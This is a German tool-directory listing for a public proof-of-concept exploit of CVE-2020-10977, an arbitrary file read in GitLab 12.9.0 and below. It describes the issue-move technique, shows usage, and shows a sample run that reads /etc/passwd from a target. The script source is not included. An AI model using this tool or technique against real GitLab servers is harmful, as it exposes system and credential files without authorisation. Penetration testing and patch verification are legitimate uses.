Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2020-10977 — GitLab 12.9.0 Beliebiges Lesen von Dateien | Kitploit
Tools/GitHubGitHub/thewhiteh4t/cve-2020-10977
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsRed Teaming
GitHubthewhiteh4t/cve-2020-10977

cve-2020-10977

GitLab 12.9.0 Beliebiges Lesen von Dateien

Repository anzeigen
7019vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-10977

GitLab 12.9.0 – Beliebige Datei lesen

Ziel : 12.9.0 und darunter

Getestet : GitLab 12.8.1

Bei einem aktuellen Einsatz habe ich auf dem Ziel eine GitLab-Instanz gefunden. Ich habe einen PoC auf Exploit-DB gefunden, aber dieser verwendet LDAP zur Authentifizierung und LDAP war in diesem Fall deaktiviert. Deshalb habe ich dieses Python-Skript erstellt, das sich über die Web-GUI authentifizieren kann. Wie der ursprüngliche PoC erstellt es zwei Projekte, ein Issue in einem der Projekte mit der schädlichen Payload und verschiebt dieses Issue von einem Projekt in ein anderes und liest automatisch den Dateiinhalt aus.

Ich habe einige Dinge hinzugefügt: Das Skript fragt nach einem absoluten Pfad, den du lesen möchtest. Nachdem es dessen Inhalt ausgegeben hat, fragt es nach einem weiteren Pfad und räumt beim Beenden auf. Beide Projekte werden automatisch gelöscht, wenn du das Skript mit CTRL+C beendest.

root@kitploit:~
$ python3 cve_2020_10977.py http://localhost twh p4ssw0rd
----------------------------------
--- CVE-2020-10977 ---------------
--- GitLab Arbitrary File Read ---
--- 12.9.0 & Below ---------------
----------------------------------

[>] Found By : vakzz       [ https://hackerone.com/reports/827052 ]
[>] PoC By   : thewhiteh4t [ https://twitter.com/thewhiteh4t      ]

[+] Target        : http://localhost
[+] Username      : twh
[+] Password      : p4ssw0rd
[+] Project Names : ProjectOne, ProjectTwo

[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/passwd
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : http://localhost/twh/ProjectTwo/uploads/5f74b01d2b58e4a57ca55e1ac8778650/passwd

> /etc/passwd
----------------------------------------

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
.
.
.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
.
.
.
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

----------------------------------------

[>] Absolute Path to File : ^C
[-] Keyboard Interrupt
[!] Deleting ProjectOne...
[+] ProjectOne Successfully Deleted!
[!] Deleting ProjectTwo...
[+] ProjectTwo Successfully Deleted!

Abhängigkeiten

root@kitploit:~
pip3 install requests bs4

Verwendung

Registriere ein Konto auf der Ziel-GitLab-Instanz und verwende dieselben Anmeldedaten im Skript.

root@kitploit:~
$ python3 cve_2020_10977.py -h
usage: cve_2020_10977.py [-h] url username password

positional arguments:
  url         Target URL with http(s)://
  username    GitLab Username
  password    GitLab Password

optional arguments:
  -h, --help  show this help message and exit

Danksagungen

  • Danke an vakzz für das Auffinden dieses Bugs in GitLab
    • HackerOne-Report: https://hackerone.com/reports/827052
  • Danke an KouroshRZ für die Erstellung eines PoC für diesen Exploit
    • Exploit-DB: https://www.exploit-db.com/exploits/48431
Tool herunterladen